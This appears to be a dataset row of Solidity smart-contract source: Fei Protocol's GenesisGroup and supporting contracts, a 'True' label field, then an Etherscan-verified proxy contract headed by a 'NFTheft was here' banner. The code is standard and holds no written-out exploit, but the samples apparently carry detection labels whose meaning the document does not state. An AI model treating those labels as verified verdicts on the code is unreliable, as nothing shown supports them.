function grantMinter(address minter) external;
function grantBurner(address burner) external;
function grantPCVController(address pcvController) external;
function grantGovernor(address governor) external;
function grantGuardian(address guardian) external;
function revokeMinter(address minter) external;
function revokeBurner(address burner) external;
function revokePCVController(address pcvController) external;
function revokeGovernor(address governor) external;
function revokeGuardian(address guardian) external;
// ----------- Revoker only state changing api -----------
function revokeOverride(bytes32 role, address account) external;
// ----------- Getters -----------
function isBurner(address _address) external view returns (bool);
function isMinter(address _address) external view returns (bool);
function isGovernor(address _address) external view returns (bool);
function isGuardian(address _address) external view returns (bool);
function isPCVController(address _address) external view returns (bool);
}
// File: contracts/IFei.sol
pragma solidity ^0.6.2;
/// @title FEI stablecoin interface
/// @author Fei Protocol
interface IFei is IERC20 {
// ----------- Events -----------
event Minting(
address indexed _to,
address indexed _minter,
uint256 _amount
);
event Burning(
address indexed _to,
address indexed _burner,
uint256 _amount
);
event IncentiveContractUpdate(
address indexed _incentivized,
address indexed _incentiveContract
);
// ----------- State changing api -----------
function burn(uint256 amount) external;
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
// ----------- Burner only state changing api -----------
function burnFrom(address account, uint256 amount) external;
// ----------- Minter only state changing api -----------
function mint(address account, uint256 amount) external;
// ----------- Governor only state changing api -----------
function setIncentiveContract(address account, address incentive) external;
// ----------- Getters -----------
function incentiveContract(address account) external view returns (address);
}
// File: contracts/ICore.sol
pragma solidity ^0.6.0;
/// @title Core Interface
/// @author Fei Protocol
interface ICore is IPermissions {
// ----------- Events -----------
event FeiUpdate(address indexed _fei);
event TribeUpdate(address indexed _tribe);
event GenesisGroupUpdate(address indexed _genesisGroup);
event TribeAllocation(address indexed _to, uint256 _amount);
event GenesisPeriodComplete(uint256 _timestamp);
// ----------- Governor only state changing api -----------
function init() external;
// ----------- Governor only state changing api -----------
function setFei(address token) external;
function setTribe(address token) external;
function setGenesisGroup(address _genesisGroup) external;
function allocateTribe(address to, uint256 amount) external;
// ----------- Genesis Group only state changing api -----------
function completeGenesisGroup() external;
// ----------- Getters -----------
function fei() external view returns (IFei);
function tribe() external view returns (IERC20);
function genesisGroup() external view returns (address);
function hasGenesisGroupCompleted() external view returns (bool);
}
// File: contracts/ICoreRef.sol
pragma solidity ^0.6.0;
/// @title CoreRef interface
/// @author Fei Protocol
interface ICoreRef {
// ----------- Events -----------
event CoreUpdate(address indexed _core);
// ----------- Governor only state changing api -----------
function setCore(address core) external;
function pause() external;
function unpause() external;
// ----------- Getters -----------
function core() external view returns (ICore);
function fei() external view returns (IFei);
function tribe() external view returns (IERC20);
function feiBalance() external view returns (uint256);
function tribeBalance() external view returns (uint256);
}
// File: contracts/Pausable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: contracts/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/CoreRef.sol
pragma solidity ^0.6.0;
/// @title A Reference to Core
/// @author Fei Protocol
/// @notice defines some modifiers and utilities around interacting with Core
abstract contract CoreRef is ICoreRef, Pausable {
ICore private _core;
/// @notice CoreRef constructor
/// @param core Fei Core to reference
constructor(address core) public {
_core = ICore(core);
}
modifier ifMinterSelf() {
if (_core.isMinter(address(this))) {
_;
}
}
modifier ifBurnerSelf() {
if (_core.isBurner(address(this))) {
_;
}
}
modifier onlyMinter() {
require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter");
_;
}
modifier onlyBurner() {
require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner");
_;
}
modifier onlyPCVController() {
require(
_core.isPCVController(msg.sender),
"CoreRef: Caller is not a PCV controller"
);
_;
}
modifier onlyGovernor() {
require(
_core.isGovernor(msg.sender),
"CoreRef: Caller is not a governor"
);
_;
}
modifier onlyGuardianOrGovernor() {
require(
_core.isGovernor(msg.sender) ||
_core.isGuardian(msg.sender),
"CoreRef: Caller is not a guardian or governor"
);
_;
}
modifier onlyFei() {
require(msg.sender == address(fei()), "CoreRef: Caller is not FEI");
_;
}
modifier onlyGenesisGroup() {
require(
msg.sender == _core.genesisGroup(),
"CoreRef: Caller is not GenesisGroup"
);
_;
}
modifier postGenesis() {
require(
_core.hasGenesisGroupCompleted(),
"CoreRef: Still in Genesis Period"
);
_;
}
modifier nonContract() {
require(!Address.isContract(msg.sender), "CoreRef: Caller is a contract");
_;
}
/// @notice set new Core reference address
/// @param core the new core address
function setCore(address core) external override onlyGovernor {
_core = ICore(core);
emit CoreUpdate(core);
}
/// @notice set pausable methods to paused
function pause() public override onlyGuardianOrGovernor {
_pause();
}
/// @notice set pausable methods to unpaused
function unpause() public override onlyGuardianOrGovernor {
_unpause();
}
/// @notice address of the Core contract referenced
/// @return ICore implementation address
function core() public view override returns (ICore) {
return _core;
}
/// @notice address of the Fei contract referenced by Core
/// @return IFei implementation address
function fei() public view override returns (IFei) {
return _core.fei();
}
/// @notice address of the Tribe contract referenced by Core
/// @return IERC20 implementation address
function tribe() public view override returns (IERC20) {
return _core.tribe();
}
/// @notice fei balance of contract
/// @return fei amount held
function feiBalance() public view override returns (uint256) {
return fei().balanceOf(address(this));
}
/// @notice tribe balance of contract
/// @return tribe amount held
function tribeBalance() public view override returns (uint256) {
return tribe().balanceOf(address(this));
}
function _burnFeiHeld() internal {
fei().burn(feiBalance());
}
function _mintFei(uint256 amount) internal {
fei().mint(address(this), amount);
}
}
// File: contracts/IOracle.sol
pragma solidity ^0.6.0;
/// @title generic oracle interface for Fei Protocol
/// @author Fei Protocol
interface IOracle {
// ----------- Events -----------
event Update(uint256 _peg);
// ----------- State changing API -----------
function update() external returns (bool);
// ----------- Getters -----------
function read() external view returns (Decimal.D256 memory, bool);
function isOutdated() external view returns (bool);
}
// File: contracts/IBondingCurve.sol
pragma solidity ^0.6.0;
interface IBondingCurve {
// ----------- Events -----------
event ScaleUpdate(uint256 _scale);
event BufferUpdate(uint256 _buffer);
event IncentiveAmountUpdate(uint256 _incentiveAmount);
event Purchase(address indexed _to, uint256 _amountIn, uint256 _amountOut);
event Allocate(address indexed _caller, uint256 _amount);
// ----------- State changing Api -----------
function purchase(address to, uint256 amountIn)
external
payable
returns (uint256 amountOut);
function allocate() external;
// ----------- Governor only state changing api -----------
function setBuffer(uint256 _buffer) external;
function setScale(uint256 _scale) external;
function setAllocation(
address[] calldata pcvDeposits,
uint256[] calldata ratios
) external;
function setIncentiveAmount(uint256 _incentiveAmount) external;
function setIncentiveFrequency(uint256 _frequency) external;
// ----------- Getters -----------
function getCurrentPrice() external view returns (Decimal.D256 memory);
function getAverageUSDPrice(uint256 amountIn)
external
view
returns (Decimal.D256 memory);
function getAmountOut(uint256 amountIn)
external
view
returns (uint256 amountOut);
function scale() external view returns (uint256);
function atScale() external view returns (bool);
function buffer() external view returns (uint256);
function totalPurchased() external view returns (uint256);
function getTotalPCVHeld() external view returns (uint256);
function incentiveAmount() external view returns (uint256);
}
// File: contracts/IBondingCurveOracle.sol
pragma solidity ^0.6.0;
/// @title bonding curve oracle interface for Fei Protocol
/// @author Fei Protocol
interface IBondingCurveOracle is IOracle {
// ----------- Genesis Group only state changing API -----------
function init(Decimal.D256 calldata initialUSDPrice) external;
// ----------- Getters -----------
function uniswapOracle() external view returns (IOracle);
function bondingCurve() external view returns (IBondingCurve);
function initialUSDPrice() external view returns (Decimal.D256 memory);
}
// File: contracts/GenesisGroup.sol
pragma solidity ^0.6.0;
/// @title Equal access to the first bonding curve transaction and the IDO
/// @author Fei Protocol
contract GenesisGroup is IGenesisGroup, CoreRef, ERC20, Timed {
using Decimal for Decimal.D256;
IBondingCurve private bondingcurve;
IBondingCurveOracle private bondingCurveOracle;
IDOInterface private ido;
uint256 private exchangeRateDiscount;
/// @notice amount of FGEN pre-committed and burned per account
mapping(address => uint256) public override committedFGEN;
/// @notice total amount of FGEN pre-committed and burned
uint256 public override totalCommittedFGEN;
/// @notice total amount of TRIBE coming from the IDO and pre-committed FGEN
/// @dev is 0 pre-launch
uint256 public override totalCommittedTribe;
/// @notice the block number of the genesis launch
uint256 public override launchBlock;
/// @notice GenesisGroup constructor
/// @param _core Fei Core address to reference
/// @param _bondingcurve Bonding curve address for purchase
/// @param _ido IDO contract to deploy
/// @param _oracle Bonding curve oracle
/// @param _duration duration of the Genesis Period
/// @param _exchangeRateDiscount a divisor on the FEI/TRIBE ratio at Genesis to deploy to the IDO
constructor(
address _core,
address _bondingcurve,
address _ido,
address _oracle,
uint256 _duration,
uint256 _exchangeRateDiscount
)
public
CoreRef(_core)
ERC20("Feii Genesis Group", "FGEN")
Timed(_duration)
{
bondingcurve = IBondingCurve(_bondingcurve);
exchangeRateDiscount = _exchangeRateDiscount;
ido = IDOInterface(_ido);
uint256 maxTokens = uint256(-1);
fei().approve(_ido, maxTokens);
bondingCurveOracle = IBondingCurveOracle(_oracle);
}
function initGenesis() external override onlyGovernor {
_initTimed();
}
function setBondingcurve(address _bondingcurve) external onlyGovernor {
bondingcurve = IBondingCurve(_bondingcurve);
}
function setIDO(address _ido) external onlyGovernor {
ido = IDOInterface(_ido);
fei().approve(_ido, uint256(-1));
}
function setOracle(address _oracle) external onlyGovernor {
bondingCurveOracle = IBondingCurveOracle(_oracle);
}
/// @notice allows for entry into the Genesis Group via ETH. Only callable during Genesis Period.
/// @param to address to send FGEN Genesis tokens to
/// @param value amount of ETH to deposit
function purchase(address to, uint256 value)
external
payable
override
duringTime
{
require(msg.value == value, "GenesisGroup: value mismatch");
require(value != 0, "GenesisGroup: no value sent");
_mint(to, value);
emit Purchase(to, value);
}
/// @notice commit Genesis FEI to purchase TRIBE in DEX offering
/// @param from address to source FGEN Genesis shares from
/// @param to address to earn TRIBE and redeem post launch
/// @param amount of FGEN Genesis shares to commit
function commit(
address from,
address to,
uint256 amount
) external override duringTime {
_burnFrom(from, amount);
committedFGEN[to] = committedFGEN[to].add(amount);
totalCommittedFGEN = totalCommittedFGEN.add(amount);
emit Commit(from, to, amount);
}
/// @notice redeem FGEN genesis tokens for FEI and TRIBE. Only callable post launch
/// @param to address to send redeemed FEI and TRIBE to.
function redeem(address to) external override {
(uint256 feiAmount, uint256 genesisTribe, uint256 idoTribe) =
getAmountsToRedeem(to);
require(
block.number > launchBlock,
"GenesisGroup: No redeeming in launch block"
);
// Total tribe to redeem
uint256 tribeAmount = genesisTribe.add(idoTribe);
require(tribeAmount != 0, "GenesisGroup: No redeemable TRIBE");
// Burn FGEN
uint256 amountIn = balanceOf(to);
_burnFrom(to, amountIn);
// Reset committed
uint256 committed = committedFGEN[to];
committedFGEN[to] = 0;
totalCommittedFGEN = totalCommittedFGEN.sub(committed);
totalCommittedTribe = totalCommittedTribe.sub(idoTribe);
// send FEI and TRIBE
if (feiAmount != 0) {
fei().transfer(to, feiAmount);
}
tribe().transfer(to, tribeAmount);
emit Redeem(to, amountIn, feiAmount, tribeAmount);
}
/// @notice launch Fei Protocol. Callable once Genesis Period has ended
function launch() external override nonContract afterTime {
// Complete Genesis
core().completeGenesisGroup();
launchBlock = block.number;
address genesisGroup = address(this);
uint256 balance = genesisGroup.balance;
// Initialize bonding curve oracle
bondingCurveOracle.init(bondingcurve.getAverageUSDPrice(balance));
// bonding curve purchase and PCV allocation
bondingcurve.purchase{value: balance}(genesisGroup, balance);
bondingcurve.allocate();
ido.deploy(_feiTribeExchangeRate());
// swap pre-committed FEI on IDO and store TRIBE
uint256 amountFei =
feiBalance().mul(totalCommittedFGEN) /
(totalSupply().add(totalCommittedFGEN));
if (amountFei != 0) {
totalCommittedTribe = ido.swapFei(amountFei);
}
// solhint-disable-next-line not-rely-on-time
emit Launch(block.timestamp);
}
// Add a backdoor out of Genesis in case of brick
function emergencyExit(address from, address payable to) external override {
require(
// solhint-disable-next-line not-rely-on-time
block.timestamp > (startTime + duration + 3 days),
"GenesisGroup: Not in exit window"
);
require(
!core().hasGenesisGroupCompleted(),
"GenesisGroup: Launch already happened"
);
uint256 heldFGEN = balanceOf(from);
uint256 committed = committedFGEN[from];
uint256 total = heldFGEN.add(committed);
require(total != 0, "GenesisGroup: No FGEN or committed balance");
require(
msg.sender == from || allowance(from, msg.sender) >= total,
"GenesisGroup: Not approved for emergency withdrawal"
);
assert(address(this).balance >= total); // ETH can only be removed by launch which blocks this method or this method in event of launch failure
_burnFrom(from, heldFGEN);
committedFGEN[from] = 0;
totalCommittedFGEN = totalCommittedFGEN.sub(committed);
to.transfer(total);
}
/// @notice calculate amount of FEI and TRIBE redeemable by an account post-genesis
/// @return feiAmount the amount of FEI received by the user
/// @return genesisTribe the amount of TRIBE received by the user per GenesisGroup
/// @return idoTribe the amount of TRIBE received by the user per pre-committed FEI trading in the IDO
/// @dev this function is only callable post launch
function getAmountsToRedeem(address to)
public
view
override
postGenesis
returns (
uint256 feiAmount,
uint256 genesisTribe,
uint256 idoTribe
)
{
uint256 userFGEN = balanceOf(to);
uint256 userCommittedFGEN = committedFGEN[to];
uint256 circulatingFGEN = totalSupply();
uint256 totalFGEN = circulatingFGEN.add(totalCommittedFGEN);
// subtract IDO purchased TRIBE amount
uint256 totalGenesisTribe = tribeBalance().sub(totalCommittedTribe);
if (circulatingFGEN != 0) {
// portion of remaining uncommitted FEI
feiAmount = feiBalance().mul(userFGEN) / circulatingFGEN;
}
if (totalFGEN != 0) {
// portion including both committed and uncommitted FGEN
genesisTribe =
totalGenesisTribe.mul(userFGEN.add(userCommittedFGEN)) /
totalFGEN;
}
if (totalCommittedFGEN != 0) {
// portion including only committed FGEN of IDO TRIBE
idoTribe =
totalCommittedTribe.mul(userCommittedFGEN) /
totalCommittedFGEN;
}
return (feiAmount, genesisTribe, idoTribe);
}
/// @notice calculate amount of FEI and TRIBE received if the Genesis Group ended now.
/// @param amountIn amount of FGEN held or equivalently amount of ETH purchasing with
/// @param inclusive if true, assumes the `amountIn` is part of the existing FGEN supply. Set to false to simulate a new purchase.
/// @return feiAmount the amount of FEI received by the user
/// @return tribeAmount the amount of TRIBE received by the user
function getAmountOut(uint256 amountIn, bool inclusive)
public
view
override
returns (uint256 feiAmount, uint256 tribeAmount)
{
uint256 totalIn = totalSupply().add(totalCommittedFGEN);
if (!inclusive) {
// exclusive from current supply, so we add it in
totalIn = totalIn.add(amountIn);
}
require(amountIn <= totalIn, "GenesisGroup: Not enough supply");
uint256 totalFei = bondingcurve.getAmountOut(totalIn);
uint256 totalTribe = tribeBalance();
// return portions of total FEI and TRIBE
return (
totalFei.mul(amountIn) / totalIn,
totalTribe.mul(amountIn) / totalIn
);
}
function _burnFrom(address account, uint256 amount) internal {
if (msg.sender != account) {
uint256 decreasedAllowance =
allowance(account, _msgSender()).sub(
amount,
"GenesisGroup: burn amount exceeds allowance"
);
_approve(account, _msgSender(), decreasedAllowance);
}
_burn(account, amount);
}
function _feiTribeExchangeRate()
internal
view
returns (Decimal.D256 memory)
{
return
Decimal.ratio(feiBalance(), tribeBalance()).div(
exchangeRateDiscount
);
}
} | True | [
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] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-10-30
*/
/*
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████████████████████████████████████████
███████████ NFTheft was here ███████████
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2b02E63c9C7ed9fDC5fdc73E02Df0F8ee7Cdd3C4
████████████████████████████████████████
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBeacon {
function implementation() external view returns (address);
}
pragma solidity ^0.8.2;
abstract contract ERC1967Upgrade {
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature(
"upgradeTo(address)",
oldImplementation
)
);
rollbackTesting.value = false;
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(
Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract"
);
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback () external payable virtual {
_fallback();
}
receive () external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {
}
}
contract ProxyAdmin is Ownable {
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
